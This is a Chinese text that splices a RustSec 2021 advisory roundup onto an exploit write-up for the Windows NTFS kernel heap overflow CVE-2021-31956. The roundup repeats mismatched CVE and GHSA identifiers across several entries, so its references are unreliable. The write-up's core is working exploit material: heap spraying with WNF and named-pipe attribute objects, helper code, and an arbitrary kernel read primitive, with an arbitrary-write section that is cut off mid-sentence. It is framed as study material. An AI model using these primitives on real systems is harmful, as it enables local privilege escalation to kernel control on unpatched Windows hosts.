`0.18.2`之前的windows系统中的bat会从当前工作目录中执行名为`less.exe`的程序。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：code-execution
* CVE 编号： **CVE-2021-36753** [28] 、 GHSA-p24j-h477-76q3
* 详细：<https://nvd.nist.gov/vuln/detail/CVE-2021-36753>
* 补丁：`>=0.18.2`
* 平台：Windows
### 漏洞分析
修复 PR：<https://github.com/sharkdp/bat/pull/1724>
对传入的 Path 进行了合法验证。使用的库是 `grep_cli`。
## RUSTSEC-2021-0073: Vulnerability in prost-types[29]
从`prost_types::Timestamp`到`SystemTime`的转换可能导致溢出和恐慌。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：denial-of-service
* CVE 编号： **CVE-2021-36753** [30] 、 GHSA-p24j-h477-76q3
* 详细：<https://github.com/tokio-rs/prost/issues/438>
* 补丁：`>=0.8.0`
### 漏洞分析
在`prost-types
0.7.0`中，从`Timestamp`到`SystemTime`的转换使用`UNIX_EPOCH`上的`+`和`-`运算符。如果输入的`Timestamp`是不被信任的，这可能会溢出和恐慌，造成拒绝服务的漏洞。因为
SystimeTime 内部实现的 `+` 和 `-` 使用 `checked_add/checked_sub`会发生 panic。
use prost_types::Timestamp;
use std::time::SystemTime;
SystemTime::from(Timestamp {
seconds: i64::MAX,
nanos: 0,
}); // panics on i686-unknown-linux-gnu (but not x86_64) with default compiler settings
SystemTime::from(Timestamp {
seconds: i64::MAX,
nanos: i32::MAX,
}); // panics on x86_64-unknown-linux-gnu with default compiler settings
另外，转换涉及到调用`Timestamp::normalize`，它使用了`+`和`-`运算符。这可能会引起恐慌或环绕（wrap
around,取决于编译器设置），如果应用程序被编译为溢出时恐慌，也会产生拒绝服务的漏洞。
解决问题的思路是：
`Timestamp::normalize`可能应该使用 **`saturating_{add,sub}`** [31]
方法，如果时间戳的`nanos`字段超出了范围，这可能会默默地改变时间戳，最多3秒，但这样的时间戳可以说是无效的，所以这可能是好的。
`SystemTime` 没有`Saturating_{add,sub}`方法，也没有`MIN`和`MAX`常数，应该再次使用
`SystemTime::checked_{add,sub}` 进行转换。
修复 PR：<https://github.com/tokio-rs/prost/pull/439>
## RUSTSEC-2021-0078: Vulnerability in hyper[32]
对Content-Length进行宽松的 header 解析，可能会使请求被偷渡（走私，smuggling）。
> 背景：请求偷渡 不合法的请求被夹杂在合法请求中被得到处理。需要通过 `content-length` 和 `Transfer-Encoding`
> 两个header 来构造攻击。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：http、parsing
* CVE 编号：CVE-2021-32715
* 详细：<https://github.com/hyperium/hyper/security/advisories/GHSA-f3pg-qwvg-p99c>
* 补丁：`>=0.14.10`
### 漏洞分析
hyper的HTTP/1服务器代码存在一个缺陷，即错误地解析和接受带有前缀加号的Content-Length头的请求，而这一请求本应作为非法请求被拒绝。这与上游HTTP代理不解析这种Content-Length头而转发的情况相结合，可能导致
"请求偷渡（"request smuggling） "或 "去同步攻击（desync attacks）"。
修复代码：<https://github.com/hyperium/hyper/commit/06335158ca48724db9bf074398067d2db08613e7>
需要判断 content-lenght 是不是可以正常转换为有效数位。
## RUSTSEC-2021-0072: Vulnerability in tokio[33]
当用`JoinHandle::abort`中止一个任务时，对于 `LocalSet`上生成的任务不正确， 容易导致竞态条件。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption
* CVE 编号：CVE-2021-32715
* 详细：<https://github.com/tokio-rs/tokio/issues/3929>
* 补丁：
`>=1.5.1, <1.6.0` `>=1.6.3, <1.7.0` `>=1.7.2, <1.8.0` `>=1.8.1`
### 漏洞分析
当用`JoinHandle::abort`中止一个任务时，如果该任务当前没有被执行，那么在调用`abort`的线程中，`Future`会被
Drop。这对于在`LocalSet`上生成的任务是不正确的。
这很容易导致竞态条件，因为许多项目在它们的`Tokio`任务中使用`Rc`或`RefCell`以获得更好的性能。
修复 PR：<https://github.com/tokio-rs/tokio/pull/3934>
## RUSTSEC-2021-0070: Vulnerability in nalgebra[34]
`nalgebra` 库中`VecStorage` 的`Deserialize`实现没有保持元素数量必须等于`nrows *
ncols`的不变性。对特制的输入进行反序列化时，可能会允许超出向量分配的内存访问。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption/ memory-exposure
* CVE 编号：CVE-2021-32715
* 详细：<https://github.com/dimforge/nalgebra/issues/883>
* 补丁：`>=0.27.1`
### 漏洞分析
这个缺陷是在`v0.11.0(086e6e)`中引入的，因为为`MatrixVec`增加了一个自动派生（derive）的`Deserialize`实现。`MatrixVec`后来在`v0.16.13(0f66403)`中被改名为`VecStorage`，并继续使用自动派生的`Deserialize`实现。
修复 PR ：<https://github.com/dimforge/nalgebra/pull/889>
在反序列化的过程中，对 `nrows.value() * ncols.value() == data.len()`进行校验。
## CVE-2021-31162: Vulnerability in std[35]
在 Rust 1.52.0之前的Rust标准库中，如果释放元素时出现panic ，在`Vec::from_iter`函数中会出现 double free。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption
* CVE 编号：CVE-2021-31162
* 详细：<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31162>
* 补丁：`>=1.52.0`
### 漏洞分析
漏洞复现代码：
use std::iter::FromIterator;
#[derive(Debug)]
enum MyEnum {
DroppedTwice(Box<i32>),
PanicOnDrop,
}
impl Drop for MyEnum {
fn drop(&mut self) {
match self {
MyEnum::DroppedTwice(_) => println!("Dropping!"),
MyEnum::PanicOnDrop => {
if !std::thread::panicking() {
panic!();
}
}
}
}
}
fn main() {
let v = vec![MyEnum::DroppedTwice(Box::new(123)), MyEnum::PanicOnDrop];
Vec::from_iter(v.into_iter().take(0));
}
// Output : free(): double free detected in tcache 2
因为枚举MyEnum在 析构的时候panic，导致资源泄漏，而引发了双重 free 的问题。
修复 PR：<https://github.com/rust-lang/rust/pull/84603>
在 `Vec::from_iter` 中执行
`forget_allocation_drop_remaining`，即，忘记已经被drop的`src`的元素分配的内存，即便 drop 发生了
panic，也不会泄漏资源。
### 参考资料
[1]`RustSecurity` 安全数据库库: _<https://rustsec.org/advisories/>_
[2]RUSTSEC-2021-0110: Vulnerability in wasmtime:
_<https://rustsec.org/advisories/RUSTSEC-2021-0110.html>_
[3]RUSTSEC-2021-0098: Vulnerability in openssl-src:
_<https://rustsec.org/advisories/RUSTSEC-2021-0098.html>_
[4]RUSTSEC-2021-0082: Unsoundness in vec-const:
_<https://rustsec.org/advisories/RUSTSEC-2021-0082.html>_
[5]RUSTSEC-2021-0093: Vulnerability in crossbeam-deque:
_<https://rustsec.org/advisories/RUSTSEC-2021-0093.html>_
[6]RUSTSEC-2021-0077: Vulnerability in better-macro:
_<https://rustsec.org/advisories/RUSTSEC-2021-0077.html>_
[7]RUSTSEC-2021-0106: Vulnerability in bat:
_<https://rustsec.org/advisories/RUSTSEC-2021-0106.html>_
[8]RUSTSEC-2021-0073: Vulnerability in prost-types:
_<https://rustsec.org/advisories/RUSTSEC-2021-0073.html>_
[9]RUSTSEC-2021-0078: Vulnerability in hyper:
_<https://rustsec.org/advisories/RUSTSEC-2021-0078.html>_
[10]RUSTSEC-2021-0072: Vulnerability in tokio：
_<https://rustsec.org/advisories/RUSTSEC-2021-0072.html>_
[11]RUSTSEC-2021-0070: Vulnerability in nalgebra:
_<https://rustsec.org/advisories/RUSTSEC-2021-0070.html>_
[12]CVE-2021-31162: Vulnerability in std:
_<https://rustsec.org/advisories/CVE-2021-31162.html>_
[13]RUSTSEC-2021-0110: Vulnerability in wasmtime:
_<https://rustsec.org/advisories/RUSTSEC-2021-0110.html>_
[14]CVE-2021-39216: _<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39216>_
[15]CVE-2021-39219: _<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39219>_
[16]CVE-2021-39218: _<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39218>_
[17]Use after free passing `externref`s to Wasm in Wasmtime:
_<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-v4cp-h94r-m7xf>_
[18]Out-of-bounds read/write and invalid free with `externref`s and GC
safepoints in Wasmtime:
_<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-4873-36h9-wv49>_
[19]Wrong type for `Linker`-define functions when used across two `Engine`s:
_<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-q879-9g95-56mx>_
[20]RUSTSEC-2021-0098: Vulnerability in openssl-src:
_<https://rustsec.org/advisories/RUSTSEC-2021-0098.html>_
[21]openssl-src: _<https://crates.io/crates/openssl-src>_
[22]RUSTSEC-2021-0082: Unsoundness in vec-const:
_<https://rustsec.org/advisories/RUSTSEC-2021-0082.html>_
[23]RUSTSEC-2021-0093: Vulnerability in crossbeam-deque:
_<https://rustsec.org/advisories/RUSTSEC-2021-0093.html>_
[24]CVE-2021-32810: _<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32810>_
[25]RUSTSEC-2021-0077: Vulnerability in better-macro:
_<https://rustsec.org/advisories/RUSTSEC-2021-0077.html>_
[26]RUSTSEC-2021-0106: Vulnerability in bat:
_<https://rustsec.org/advisories/RUSTSEC-2021-0106.html>_
[27]bat: _<https://rustsec.org/packages/bat.html>_
[28]CVE-2021-36753: _<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36753>_
[29]RUSTSEC-2021-0073: Vulnerability in prost-types:
_<https://rustsec.org/advisories/RUSTSEC-2021-0073.html>_
[30]CVE-2021-36753: _<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36753>_
[31]`saturating_{add,sub}`: _<https://doc.rust-lang.org/stable/std/time/struct.Duration.html#method.saturating_add>_
[32]RUSTSEC-2021-0078: Vulnerability in hyper:
_<https://rustsec.org/advisories/RUSTSEC-2021-0078.html>_
[33]RUSTSEC-2021-0072: Vulnerability in tokio:
_<https://rustsec.org/advisories/RUSTSEC-2021-0072.html>_
[34]RUSTSEC-2021-0070: Vulnerability in nalgebra:
_<https://rustsec.org/advisories/RUSTSEC-2021-0070.html>_
[35]CVE-2021-31162：Vulnerability in std:
_<https://rustsec.org/advisories/CVE-2021-31162.html>_
* * * | 社区文章 |
**作者：京东安全 Dawn Security Lab
原文链接：<https://dawnslab.jd.com/CVE-2021-31956/>**
## 概述
CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞，攻击者可以利用此漏洞实现本地权限提升，nccgroup的博客已经进行了详细的利用分析，不过并没有贴出exploit的源代码。
本篇文章记录一下自己学习windows exploit的过程，使用的利用技巧和nccgroup提到的大同小异，仅供学习参考。
## 漏洞定位
漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)，NTFS文件系统允许为每一个文件额外存储若干个键值对属性，称之为EA(Extend
Attribution) 。从微软的开发文档上可以查出，有一些系统调用是用来处理键值对的读写操作。
// 为文件创建EA
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length
);
// 查询文件EA
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, // PFILE_FULL_EA_INFORMATION
[in] ULONG Length,
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, // PFILE_GET_EA_INFORMATION
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex,
[in] BOOLEAN RestartScan
);
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
如下是查询EA的系统调用实现，查询时接收一个用户传入的字典的key集合eaList，将查询到的键值对写入到output_buffer。每次写完一个键值对，需要四字节对齐，函数内部维护了一个变量padding_length用来指示每次向output_buffer写入时需要额外填充的数据长度，同时维护了一个变量为output_buffer_length用来记录output_buffer剩余的可用空间。但是在【A】处写入键值对时并没有检查output_buffer_length是否大于padding_length，两个uint32相减以后发生整数溢出绕过检查，在后面memmove的时候实现任意长度，任意内容越界写。
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, unsigned int output_buffer_length, PFILE_GET_EA_INFORMATION eaList, char a7)
{
int v8; // edi
ULONG eaList_iter; // ebx
unsigned int padding_length; // er15
PFILE_GET_EA_INFORMATION current_ea; // r12
ULONG v12; // er14
UCHAR v13; // r13
PFILE_GET_EA_INFORMATION i; // rbx
unsigned int output_idx_; // ebx
FILE_FULL_EA_INFORMATION *output_iter; // r13
unsigned int current_ea_output_length; // er14
unsigned int v18; // ebx
FILE_FULL_EA_INFORMATION *v20; // rdx
char v21; // al
ULONG next_iter; // [rsp+20h] [rbp-38h]
unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
FILE_FULL_EA_INFORMATION *v24; // [rsp+28h] [rbp-30h]
struct _STRING reqEaName; // [rsp+30h] [rbp-28h] BYREF
STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
unsigned int output_idx; // [rsp+A0h] [rbp+48h]
v8 = 0;
*a1 = 0i64;
v24 = 0i64;
eaList_iter = 0;
output_idx = 0;
padding_length = 0;
a1[1] = 0i64;
while ( 1 )
{
current_ea = (PFILE_GET_EA_INFORMATION)((char *)eaList + eaList_iter);
*(_QWORD *)&reqEaName.Length = 0i64;
reqEaName.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&reqEaName.Length = current_ea->EaNameLength;
reqEaName.MaximumLength = reqEaName.Length;
reqEaName.Buffer = current_ea->EaName;
RtlUpperString(&reqEaName, &reqEaName);
if ( !NtfsIsEaNameValid(&reqEaName) )
break;
v12 = current_ea->NextEntryOffset;
v13 = current_ea->EaNameLength;
next_iter = current_ea->NextEntryOffset + eaList_iter;
for ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((char *)i + i->NextEntryOffset) )
{
if ( i == current_ea )
{
output_idx_ = output_idx;
output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx);
if ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + 4), &reqEaName, &v23) )
{ // Find EA
v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
current_ea_output_length = v20->EaValueLength + v20->EaNameLength + 9;
if ( current_ea_output_length <= output_buffer_length - padding_length ) // 【A】
{
memmove(output_iter, v20, current_ea_output_length);
output_iter->NextEntryOffset = 0;
goto LABEL_8;
}
}
else
{ // EA not found??
current_ea_output_length = current_ea->EaNameLength + 9;
if ( current_ea_output_length + padding_length <= output_buffer_length )
{
output_iter->NextEntryOffset = 0;
output_iter->Flags = 0;
output_iter->EaNameLength = current_ea->EaNameLength;
output_iter->EaValueLength = 0;
memmove(output_iter->EaName, current_ea->EaName, current_ea->EaNameLength);
SourceString.Length = reqEaName.Length;
SourceString.MaximumLength = reqEaName.Length;
SourceString.Buffer = output_iter->EaName;
RtlUpperString(&SourceString, &SourceString);
output_idx_ = output_idx;
output_iter->EaName[current_ea->EaNameLength] = 0;
LABEL_8:
v18 = current_ea_output_length + padding_length + output_idx_;
output_idx = v18;
if ( !a7 )
{
if ( v24 )
v24->NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24;
if ( current_ea->NextEntryOffset )
{
v24 = output_iter;
output_buffer_length -= current_ea_output_length + padding_length;
padding_length = ((current_ea_output_length + 3) & 0xFFFFFFFC) - current_ea_output_length;
goto LABEL_26;
}
}
...
## 漏洞分析
在具体介绍利用之前，需要先简单了解一下windows的堆分配算法。Windows10引入了新的方式进行堆块管理，称为Segment
Heap，有篇[文章](https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf)对此进行了详细的描述。
每个堆块有个堆头用来记录元信息，占据了16个字节，结构如下。
typedef struct {
char previousSize;
char poolIndex;
char blockSize;
char poolType;
int tag;
void* processBilled;
}PoolHeader;
## 相对偏移地址读写
这个漏洞里，越界对象output_buffer是系统临时申请的堆块，系统调用结束以后会被立即释放，不能持久化保存，这导致SegmentHeap
Aligned Chunk Confusion的方法在这里并不适用。
通过实验发现windows在free时的检查并不严格，通过合理控制越界内容，破坏掉下一个堆块的PoolHeader以后，并不会触发异常，这允许我们直接覆盖下一个堆块的数据，接下来的目标就是挑选合适的被攻击堆块对象。
通过查阅资料，我找到了一个用户可以自定义大小的结构体_WNF_STATE_DATA。关于WNF的实际用法，微软并没有提供官方的说明文档，这里不展开介绍，只用把它理解成一个内核实现的数据存储器即可。通过NtCreateWnfStateName创建一个WNF对象实例，实例的数据结构为_WNF_NAME_INSTANCE；通过NtUpdateWnfStateData可以往对象里写入数据，使用_WNF_STATE_DATA数据结构存储写入的内容；通过NtQueryWnfStateData可以读取之前写入的数据，通过NtDeleteWnfStateData可以释放掉这个对象。
//0xa8 bytes (sizeof)
struct _WNF_NAME_INSTANCE
{
struct _WNF_NODE_HEADER Header; //0x0
struct _EX_RUNDOWN_REF RunRef; //0x8
struct _RTL_BALANCED_NODE TreeLinks; //0x10
struct _WNF_STATE_NAME_STRUCT StateName; //0x28
struct _WNF_SCOPE_INSTANCE* ScopeInstance; //0x30
struct _WNF_STATE_NAME_REGISTRATION StateNameInfo; //0x38
struct _WNF_LOCK StateDataLock; //0x50
struct _WNF_STATE_DATA* StateData; //0x58
ULONG CurrentChangeStamp; //0x60
VOID* PermanentDataStore; //0x68
struct _WNF_LOCK StateSubscriptionListLock; //0x70
struct _LIST_ENTRY StateSubscriptionListHead; //0x78
struct _LIST_ENTRY TemporaryNameListEntry; //0x88
struct _EPROCESS* CreatorProcess; //0x98
LONG DataSubscribersCount; //0xa0
LONG CurrentDeliveryCount; //0xa4
};
struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8
ULONG ChangeStamp; //0xc
};
举例说明，WNF数据在内核里的保存方式如下所示
1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850 0b0c0000 20666e57 25a80214 73ca76c5 // PoolHeader 0x10个字节
ffffdd84`1d4b6860 00100904 000000a0 000000a0 00000001 // _WNF_STATE_DATA 数据结构，用户数据的长度为0xa0 0x10个字节
ffffdd84`1d4b6870 61616161 61616161 61616161 61616161 // WNF数据
ffffdd84`1d4b6880 61616161 61616161 61616161 61616161
ffffdd84`1d4b6890 61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0 61616161 61616161 61616161 61616161
通过喷堆，控制堆布局如下，NtFE是可以越界写的
chunk，后面紧挨着的是_WNF_STATE_DATA数据结构。越界修改结构体里的DataSize对象，接下来调用NtQueryWnfStateData实现相对偏移地址读写。
0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff802`3d2a8990 4c894c2420 mov qword ptr [rsp+20h],r9
1: kd> !pool r9
Pool page ffffdd841d4b67a0 region is Paged pool
ffffdd841d4b6010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b60d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6250 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b63d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b66d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
*ffffdd841d4b6790 size: c0 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6910 size: c0 previous size: 0 (Free) ....
ffffdd841d4b69d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6e50 size: c0 previous size: 0 (Free) ....
ffffdd841d4b6f10 size: c0 previous size: 0 (Free) ....
被篡改过后的_WNF_STATE_DATA 数据结构
1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850 030c0000 41414141 00000000 00000000 // 伪造的PoolHeader
ffffdd84`1d4b6860 00000000 0000ffff 000003cc 00000000 // 伪造的_WNF_STATE_DATA，将用户数据长度改为了0x3cc
ffffdd84`1d4b6870 61616161 61616161 61616161 61616161
ffffdd84`1d4b6880 61616161 61616161 61616161 61616161
ffffdd84`1d4b6890 61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0 61616161 61616161 61616161 61616161
接下来讲述如何将相对偏移读写转换为任意地址读写。
## 任意地址读
我们需要使用到另外一个数据结构PipeAttribution，和WNF类似，这个对象可以自定义大小。这里两个指针AttributeName、AttributeValue
正常情况下是指向PipeAttribute.data[]后面的，如果通过堆布局，将AttributeValue的指针该为任意地址，就可以实现任意地址读。遗憾的是，windows并没有提供直接更新该数据结构的功能，不能通过该方法进行任意地址写。
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
typedef struct {
HANDLE read;
HANDLE write;
} PIPES;
// 初始化pipe
void pipe_init(PIPES* pipes) {
if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
printf("createPipe fail\n");
return 1;
}
return 0;
}
// 写入PipeAttribution
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
size_t length = strlen(name);
memcpy(tmp_buffer, name, length + 1);
memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
IO_STATUS_BLOCK statusblock;
char output[0x100];
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x11003C, tmp_buffer, total_size,
output, sizeof(output));
if (!NT_SUCCESS(mystatus)) {
printf("pipe_write_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}
// 读取PipeAttribution
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
IO_STATUS_BLOCK statusblock;
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x110038, name,strlen(name)+1,
output, size);
if (!NT_SUCCESS(mystatus)) {
printf("pipe_read_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}
理想情况下的堆布局如下所示，ffffdd841d4b6850是之前被覆盖的_WNF_STATE_DATA对象，其余的chunk被释放，然后使用PipeAttribution对象堆喷重新占回。
1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
ffffdd841d4b6010 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b60d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6190 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6250 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6310 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b63d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6490 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6550 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6610 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b66d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6790 size: c0 previous size: 0 (Free) NpAt
*ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) *AAAA
Owning component : Unknown (update pooltag.txt)
ffffdd841d4b6910 size: c0 previous size: 0 (Allocated) NpAt // 被攻击的数据结构
ffffdd841d4b69d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6a90 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6b50 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6c10 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6cd0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6d90 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6e50 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6f10 size: c0 previous size: 0 (Free) NpAt
1: kd> dq ffffdd841d4b6910
ffffdd84`1d4b6910 7441704e`030c0000 00000000`00000000 // PoolHeader
ffffdd84`1d4b6920 ffffdd84`1c8e6cb0 ffffdd84`1c8e6cb0 // list
ffffdd84`1d4b6930 ffffdd84`1d4b6948 00000000`00000078 // AttributeName AttributeValueSize
ffffdd84`1d4b6940 ffffdd84`1d4b6950 00313330`315f6161 // AttributeValue
ffffdd84`1d4b6950 61616161`00000407 61616161`61616161
ffffdd84`1d4b6960 61616161`61616161 61616161`61616161
ffffdd84`1d4b6970 61616161`61616161 61616161`61616161
ffffdd84`1d4b6980 61616161`61616161 61616161`61616161
根据上面讲述的方法实现任意地址读函数
int ab_read(void* addr, void* dst, int size) {
WNF_CHANGE_STAMP stamp;
char readData[0x400];
ULONG readDataSize = sizeof(readData);
NTSTATUS st;
static char wtf_buf[0x1000];
st = NtQueryWnfStateData(oobst, 0, 0, &stamp, readData, &readDataSize);
if (!NT_SUCCESS(st)) {
DEBUG("NtQueryWnfStateData fail %x\n", st);
return 1;
}
PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE);
pa->value = addr;
if (size < 0x20)
pa->value_len = 0x100;
else
pa->value_len = size;
st = NtUpdateWnfStateData(oobst, readData, readDataSize, 0, 0, 0, 0);
if (!NT_SUCCESS(st)) {
DEBUG("NtQueryWnfStateData fail %x\n", st);
return 1;
}
if (pipe_read_attr(&pipes, attackName, wtf_buf, sizeof(wtf_buf))) {
return 1;
}
memcpy(dst, wtf_buf, size);
return 0;
}
## 任意地址写
我通过修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。具体操作是再次释放掉原来的PipeAttribution，使用_WNF_NAME_INSTANCE重新进行堆喷，布局好的堆如下所示
1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
ffffdd841d4b6010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b60d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6250 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b63d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b66d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6790 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
*ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) *AAAA
Owning component : Unknown (update pooltag.txt)
ffffdd841d4b6910 size: c0 previous size: 0 (Allocated) NpAt
ffffdd841d4b69d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 // 被修改_WNF_STATE_DATA指针的WNF对象
ffffdd841d4b6a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6e50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6f10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
通过局部地址读写，覆盖掉下一个Wnf结构体（ffffdd841d4b69d0
